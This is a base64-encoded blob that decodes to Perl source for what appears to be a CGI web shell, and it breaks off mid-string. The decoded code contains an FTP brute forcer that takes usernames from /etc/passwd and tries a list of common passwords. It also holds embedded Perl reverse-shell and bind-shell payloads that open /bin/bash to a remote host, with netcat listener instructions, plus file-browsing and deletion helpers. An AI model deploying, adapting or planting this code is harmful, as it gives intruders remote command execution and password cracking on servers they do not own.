T09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R